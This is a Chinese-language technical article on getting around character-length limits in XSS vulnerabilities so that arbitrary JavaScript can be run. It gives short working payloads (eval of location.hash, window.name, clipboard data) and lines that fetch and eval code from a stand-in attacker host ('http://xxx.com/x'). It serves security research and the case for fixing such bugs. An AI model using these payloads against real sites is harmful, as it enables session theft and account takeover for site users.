一、综述
有些XSS漏洞由于字符数量有限制而没法有效的利用，只能弹出一个对话框来YY，本文主要讨论如何突破字符数量的限制进行有效的利用，这里对有效利用的定义是可以不受限制执行任意JS.对于跨站师们来说，研究极端情况下XSS利用的可能性是一种乐趣；对于产品安全人员来说，不受限制的利用的可能是提供给开发人员最有力的证据，要求他们重视并修补这些极端情况下的XSS漏洞。
突破的方法有很多种，但是突破的思想基本都一样，那就是执行可以控制的不受限制的数据。
二、突破方法
2.1 利用HTML上下文中其他可以控制的数据
可控的安全的数据
alert（/xss/）；
由于XSS点有字符数量限制，所以这里只能弹框，那么我们可以把XSS的Payload通过escape编码后作为安全的数据，输出到可控的安全数据位置，然后在XSS点执行可控的安全数据：
eval（unescape（x.innerHTML））；
长度：28 + len（id）
由于x内部的数据没有字符数量的限制，那么从而可以达到执行任意JS的目的。
2.2 利用URL中的数据
长度：30
limited_xss_point>eval（location.href.substr（80））；
长度：31
上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅t手册的String的方法可以发现，切割字符串有一个更短的函数slice，5个字符比substr还要短一个字符：
长度：29
eval（location.href.slice（80））；
长度：30
那么还有没有办法更短呢？答案是YES，查阅一下MSND里的location对象的参考你会发现有个hash成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获得代码执行，由于获得的数据是#开头的，所以只需要slice一个字符就可以拿到代码：
eval（location.hash.slice（1））；
长度：29
这样比上面的例子又少了一个字符。那么还可以更短么？ 2.3 JS上下文的利用
为什么我如此痛苦？那是因为JS和DHTML的方法名和属性名太长！瞧瞧这些“糟糕”的名字：
String.fromCharCode
getElementById
getElementsByTagName
XMLHTTPRequest
……
就连开发人员也不愿意多写一次，于是很多站点的前端开发工程师们封装了各式各样的简化函数，最经典的例子就是：
这些函数同样可以为我们所用，用来缩短我们的Payload的长度。不过上面这个例子不是最短的，IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码：
n loads（url）
……
loads（"http://xxx.com/x"）；
长度：len（函数名） + len（url） + 5
当然你的url则是越短越好哦！有些函数则会帮我们去作HTTP请求：
n get（url）
……
return x.responseText；
eval（get（"http://xxx.com/x"））；
长度：len（函数名） + len（url） + 11
道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用，比如：
JQuery
YUI
……
综上所述，我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码，进而突破长度限制执行任意代码。
2.4 利用浏览器特性在跨域的页面之间传递数据
虽然有同源策略的限制，浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法，我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。
攻击者可以在自己的域上构造页面跳转到被XSS页面，在自己域上的页面的url里带了Payload，被XSS的页面通过referrer获取相关代码执行。
这种方式利用上还有一些问题，如果使用location.href或者实现的自动跳转，在IE里被攻击页面拿不到referrer，而FF则可以。QZ建议用表单提交的方式比较好，我测试了下，果然通用，FF/IE都可以成功获取referrer：
2.4.2 剪切板clipboardData
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板，然后在被XSS页面获取并执行该数据。
被XSS的页面：
eval（clipboardData.getData（"text"））；
长度：36
这种方式只适用于IE6系列，并且在IE 7及以上版本的浏览器会有安全提示。
这是一个很少被用到的特性，在研究同源策略时就注意过这个属性，它是可以跨域传递数据的，但是这个特性本身并不是漏洞。
攻击者构造的页面：
被XSS的页面：
eval（name）；
长度：11
这个长度可以说是短到极致了，并且这个方法IE/FF都可以很好的支持，是个非常有意思的技巧，这个技巧的发现也是促成本文的直接原因。
2.5 以上的方式结合使用
以上的方式结合使用，一般情况下会使得长度更长，但是也不排除在某些变态的过滤情况中，灵活的组合上面的方法可能会起到奇效。
三、后记
JS非常灵活，所以方法肯定不限于这些，在具体的问题的分析和研究中，可以获得很多的乐趣，并且对JS以及浏览器本身有了更深的认识，如果您有巧妙的技巧或者新奇的构思，欢迎和我交流！
感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见！
本文是纯粹的技术探讨，请勿用于非法用途！
四、参考
http://msdn.microsoft.com/en-us/library/aa155073.aspx